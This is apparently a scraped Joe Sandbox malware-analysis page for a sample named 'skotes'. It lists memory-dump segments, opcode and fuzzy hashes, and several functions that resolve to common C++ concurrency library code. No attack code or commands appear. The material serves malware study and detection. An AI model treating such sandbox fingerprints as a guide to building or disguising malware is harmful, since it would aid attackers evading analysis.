Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: 33ecea9721d796de88b1168f8d6b323a9a68786f572cf0a4e3a6141eaad3d1b6
Instruction ID: e54e36b02b0c6fd0ac2b8f5a7907521010ad615588b0e7c0d9046583965aab0f
Opcode Fuzzy Hash: 33ecea9721d796de88b1168f8d6b323a9a68786f572cf0a4e3a6141eaad3d1b6
Instruction Fuzzy Hash: 0721A932920A159FCB25EF69D9908ABF3F5FF58340B00495EE842A7651DB70B905CBA2

Function 002B4885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 002B4893
ListArray.LIBCONCRT ref: 002B48A5

Part of subcall function 002B5555: _InternalDeleteHelper.LIBCONCRT ref: 002B5564

ListArray.LIBCONCRT ref: 002B48AF
_InternalDeleteHelper.LIBCONCRT ref: 002B48C8

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 293897c63459ee9c3c039fb42dad99d0efc27a16a5e5b00feff88103d6de69a9
Instruction ID: f32c107ab9e6dca4ba4b4081f0994d212b85604602bba3fba5dc2aa76947fdd0
Opcode Fuzzy Hash: 293897c63459ee9c3c039fb42dad99d0efc27a16a5e5b00feff88103d6de69a9
Instruction Fuzzy Hash: DB01D631610521AFDB25BF64DCC2FADB76ABF457507000529F9055B613CF20EC319BA0

Function 002BEE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 002BEE6A
ListArray.LIBCONCRT ref: 002BEE7C

Part of subcall function 002BEF29: _InternalDeleteHelper.LIBCONCRT ref: 002BEF3B

ListArray.LIBCONCRT ref: 002BEE86
_InternalDeleteHelper.LIBCONCRT ref: 002BEE9F

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 1c15196b0d0abebe3dd36e336026f1f2378de3853c2044a4193ab14f619fb008
Instruction ID: f71914f112f7b897065e5c7abe98de872bd6f931252a313f3a95606dea16f0e0
Opcode Fuzzy Hash: 1c15196b0d0abebe3dd36e336026f1f2378de3853c2044a4193ab14f619fb008
Instruction Fuzzy Hash: FF01A231610521ABDE256B60DC82DFABB69BF85760B020029F94557A12CB20EC318AE0

Function 002BD0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 002BD0C5
ListArray.LIBCONCRT ref: 002BD0D7

Part of subcall function 002BC6B2: _InternalDeleteHelper.LIBCONCRT ref: 002BC6C4

ListArray.LIBCONCRT ref: 002BD0E1
_InternalDeleteHelper.LIBCONCRT ref: 002BD0FA

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 4f162a281013002cf5d7f5321b1690ff48ec1113fac4da65be32d1617ff40780
Instruction ID: e2f4be05663b77d523303125fbd02b8dfc7d2f7c5a2c77295938f785012cd521
Opcode Fuzzy Hash: 4f162a281013002cf5d7f5321b1690ff48ec1113fac4da65be32d1617ff40780
Instruction Fuzzy Hash: 3901D631620521AFDB257B64CD82EEDB76DBF857517500426F90597A12DF20AC728AA0

Function 002C33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 002C33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 002C33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 002C3407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 002C341F

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
